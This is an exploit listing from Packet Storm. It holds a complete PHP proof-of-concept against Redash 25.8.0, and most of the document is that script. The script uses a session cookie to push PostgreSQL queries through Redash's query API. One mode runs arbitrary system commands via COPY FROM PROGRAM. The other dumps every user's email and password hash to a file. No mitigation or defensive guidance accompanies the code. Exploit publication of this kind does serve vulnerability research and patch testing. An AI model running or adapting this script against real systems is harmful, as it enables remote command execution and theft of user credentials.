PACKETSTORM

📄 Redash 25.8.0 Password Hash Extraction_PACKETSTORM:215802

Description

This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform. The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks. It can execute...
Visit Original Source

Basic Information

ID PACKETSTORM:215802
Published Feb 18, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Redash 25.8.0 Password Hash Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://redash.io/ |
=============================================================================================================================================

[+] Summary : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform.
The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks:

[+] Key Capabilities:

Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality

Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table

[+] POC :

<?php
/*
* poc.php
*
* =Usage=

* php poc.php <url> <cookie_file> [--cmd <command> | --dump]

* Example: php poc.php http://localhost:5000 cookie.txt --cmd "id"

* Example: php poc.php http://localhost:5000 cookie.txt --dump
*/

error_reporting(E_ALL);
ini_set('display_errors', 1);

$GLOBALS['ssl_verify'] = false;

function print_usage($script_name) {
echo "Usage: php $script_name <url> <cookie_file> [--cmd <command> | --dump]\n\n";
echo "Examples:\n";
echo " php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n";
echo " php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n";
}

function load_cookies($path) {
$cookies = [];
if (!file_exists($path)) {
die("Error: Cookie file not found: $path\n");
}

$lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
if (trim($line) === '' || $line[0] === '#') {
continue;
}

$parts = explode("\t", $line);
if (count($parts) >= 7) {
$cookies[$parts[5]] = $parts[6];
}
}

return $cookies;
}

function normalize_url($url) {
$url = rtrim($url, '/');

if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
return $url;
}

$protocols = ['https://', 'http://'];
foreach ($protocols as $protocol) {
$test_url = $protocol . $url;
$ch = curl_init($test_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_NOBODY => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => 3
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code > 0) {
return $test_url;
}
}

return 'http://' . $url;
}

function find_api_path($base_url, $cookies) {
$session = create_session($cookies);

$paths = [
"/api/query_results",
"/default/api/query_results",
"/org/api/query_results",
];

foreach ($paths as $path) {
$url = $base_url . $path;
try {
$response = http_post($session, $url, [
"query" => "SELECT 1",
"data_source_id" => 1,
"parameters" => []
]);

if ($response['status'] == 200 || $response['status'] == 400) {
return $path;
}
} catch (Exception $e) {
}
}

return $paths[0];
}

function create_session($cookies) {
$cookie_string = '';
foreach ($cookies as $name => $value) {
$cookie_string .= $name . '=' . $value . '; ';
}

return [
'cookies' => rtrim($cookie_string, '; '),
'headers' => [
'Content-Type: application/json',
'Accept: application/json'
]
];
}

function http_get($session, $url, $timeout = 15) {
$ch = curl_init($url);

curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $session['headers'],
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}

return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}

function http_post($session, $url, $data, $timeout = 30) {
$ch = curl_init($url);

curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($data),
CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']),
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}

return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}

function execute_rce($base_url, $cookies, $command) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;

$table = "rce_" . substr(md5($command), 0, 8);

$payload = [
"query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table",
"data_source_id" => 1,
"parameters" => []
];

$resp = http_post($session, $endpoint, $payload);

if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}

$result = $resp['json'];

if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}

$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}

$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);

if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}

$job = $job_resp['json']['job'] ?? [];

if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];

foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}

if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}

usleep(500000); // 0.5 seconds
}

throw new Exception("Job did not complete");
}

function extract_password_hashes($base_url, $cookies) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;
$payload = [
"query" => "SELECT email, password_hash FROM users",
"data_source_id" => 1,
"parameters" => []
];

$resp = http_post($session, $endpoint, $payload);

if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}

$result = $resp['json'];

if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}

$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}

$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);

if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}

$job = $job_resp['json']['job'] ?? [];

if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];

foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}

if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}

usleep(500000); // 0.5 seconds
}

throw new Exception("Job did not complete");
}

function main($argv) {
if (count($argv) < 3) {
print_usage($argv[0]);
exit(1);
}

$url = $argv[1];
$cookie_file = $argv[2];
$mode = "--dump";
$command = null;

if (count($argv) > 3) {
if ($argv[3] == "--cmd") {
$mode = "--cmd";
if (count($argv) < 5) {
echo "Error: --cmd requires a command argument\n";
exit(1);
}
$command = $argv[4];
} elseif ($argv[3] == "--dump") {
$mode = "--dump";
} else {
echo "Error: Unknown option {$argv[3]}\n";
exit(1);
}
}

try {
$url = normalize_url($url);
$cookies = load_cookies($cookie_file);

if ($mode == "--cmd") {
fwrite(STDERR, "[*] Executing command: $command\n\n");
$output = execute_rce($url, $cookies, $command);
foreach ($output as $line) {
echo $line . "\n";
}
} else { // --dump
fwrite(STDERR, "[*] Extracting password hashes...\n");
$hash_list = extract_password_hashes($url, $cookies);
fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n");

if (empty($hash_list)) {
fwrite(STDERR, "No password hashes found\n");
exit(1);
}
$hash_file = fopen('hashes.txt', 'w');
foreach ($hash_list as $hash_entry) {
list($email, $password_hash) = $hash_entry;
echo $email . "\n";
echo $password_hash . "\n\n";
fwrite($hash_file, $password_hash . "\n");
}
fclose($hash_file);

fwrite(STDERR, "[*] Hashes written to hashes.txt\n");
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
}

if (php_sapi_name() === 'cli') {
main($argv);
} else {
echo "This script must be run from the command line.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.